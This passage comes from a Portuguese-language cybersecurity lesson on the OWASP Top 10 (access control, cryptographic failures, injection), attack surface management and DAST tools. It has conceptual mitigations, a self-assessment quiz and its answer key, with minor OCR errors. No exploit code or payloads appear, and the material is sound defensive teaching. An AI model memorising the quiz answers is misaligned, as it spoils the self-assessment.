introduzir grandes riscos. A ASM ajuda a trazer esses
ativos a luz, permitindo que a equipe de seguranca 0s
avalie e os incorpore ao seu programa de gestao de
vulnerabilidades.

[J Visao Moderna: Para estudantes e
profissionais, a compreensao da ASM é vital
para uma visdo moderna da cibersegurancga.
Nao basta proteger o que esta visivel; &
preciso buscar ativamente o que esta oculto e
garantir que toda a pegada digital da
organizacao esteja sob controle.



Consolidacao: Fortalecendo a Defesa Digital

Nesta primeira parte da nossa jornada pelo OWASP Top 10, desvendamos a importancia de
entender as vulnerabilidades mais criticas em aplicacdes web. Comecamos com a Quebra
de Controle de Acesso (A01), que nos alertou sobre a falha em gerenciar permissdes, como
um porteiro que nao faz seu trabalho. Em seguida, exploramos as Falhas Criptograficas
(AO2), que nos mostraram como segredos podem ser expostos quando o "cofre" da
criptografia € mal utilizado ou ausente. Por fim, mergulhamos na Injecao (A03), com foco
em SQL Injection e XSS, revelando como entradas maliciosas podem manipular bancos de
dados e navegadores de usuarios.

AO1: Controle de Acesso AO2: Criptografia AO03: Injecao

Verificar permissdes no Usar TLS/HTTPS, algoritmos Consultas parametrizadas,
servidor, implementar "negacao modernos (AES-256, bcrypt), escape de entrada, validacao
por padrao", validar propriedade gerenciar chaves rigorosa de dados do usuario
de recursos adequadamente

Além de entender as vulnerabilidades, vimos como ferramentas DAST, como o OWASP ZAP, sao essenciais para
identificar esses problemas em aplicacées em execucao, agindo como um "testador de invasao" automatizado. E
para ir além da simples deteccao, introduzimos a Abordagem Baseada em Risco e a Gestao da Superficie de
Ataque (ASM), que nos ensinam a priorizar vulnerabilidades com base no impacto real e a mapear todos os ativos
digitais, garantindo que nada fique desprotegido.

(J Em Pratica

Para aplicar o que vocé aprendeu, comece a analisar aplicacées web com uma nova perspectiva: procure
por parametros em URLs que possam ser manipulados (IDOR), observe se a comunicacao é sempre
HTTPS (criptografia), e imagine como um campo de entrada poderia ser usado para injetar codigo SQL
ou JavaScript. Experimente o OWASP ZAP em um ambiente de teste para ver como ele identifica essas
vulnerabilidades.



Autoavaliacao

Qual das seguintes vulnerabilidades € um exemplo de Quebra de Controle de

Acesso (A01)?

a) Um atacante injeta codigo SQL para roubar dados do banco de dados.

b) Um usuario comum consegue acessar a pagina de administracao alterando um parametro na URL.
c) Uma aplicacao armazena senhas em texto claro no banco de dados.

d) Um script malicioso é executado no navegador de outro usuario.

A principal medida de prevencao contra SQL Injection (SQLI) é:

a) Usar HTTPS para todas as comunicacoes.

b) Implementar validacao de entrada no lado do cliente.

c) Utilizar consultas parametrizadas (prepared statements).

d) Armazenar senhas com hash e salt.

Qual é a principal diferenca entre SAST e DAST?

a) SAST analisa o cédigo em execucao, DAST analisa o codigo-fonte.

b) SAST foca em vulnerabilidades de rede, DAST em vulnerabilidades de aplicacao.

c) SAST analisa o cédigo-fonte sem executa-lo, DAST interage com a aplicacao em execucao.

d) SAST é para testes manuais, DAST é para testes automatizados.

A Abordagem Baseada em Risco prioriza vulnerabilidades considerando:

a) Apenas a pontuacao CVSS da vulnerabilidade.

b) Apenas a existéncia de exploits ativos.

c) A severidade técnica, o impacto no negécio, a criticidade dos ativos e a inteligéncia de ameacas.

d) Apenas a facilidade de correcao da vulnerabilidade.

Questao Dissertativa

Explique a importancia da Gestao da Superficie de Ataque (ASM) no contexto da seguranca de aplicacdes

web modernas, considerando a complexidade e a distribuicao das infraestruturas de TI.

Gabarito

1.

b) Um usuario comum consegue acessar a pagina
de administracao alterando um parametro na URL.

c) Utilizar consultas parametrizadas (prepared
statements).

c) SAST analisa o codigo-fonte sem executa-lo,
DAST interage com a aplicacao em execucao.

c) A severidade técnica, o impacto no negécio, a
criticidade dos ativos e a inteligéncia de ameacas.

Proxima Aula

Na Aula 10 - Analise de Aplicacoes Web - OWASP
Top 10 (Parte 2), continuaremos nossa exploracao do
OWASP Top 10, abordando as categorias restantes e
aprofundando ainda mais nas estratégias de mitigacao
e nas tendéncias futuras da seguranca de aplicacodes.

Recursos Adicionais

o Site Oficial do OWASP: Para a documentacao
completa e atualizada do OWASP Top 10.

e Documentacao do OWASP ZAP: Para aprender a
usar a ferramenta na pratica.

o Artigos sobre Risk-Based Vulnerability
Management: Para aprofundar na priorizacao de
vulnerabilidades.

NOTA IMPORTANTE: As informacdes regulatdrias/legais/técnicas desta aula estao atualizadas até 2025. Consulte sempre fontes oficiais para

verificar alteracdes.



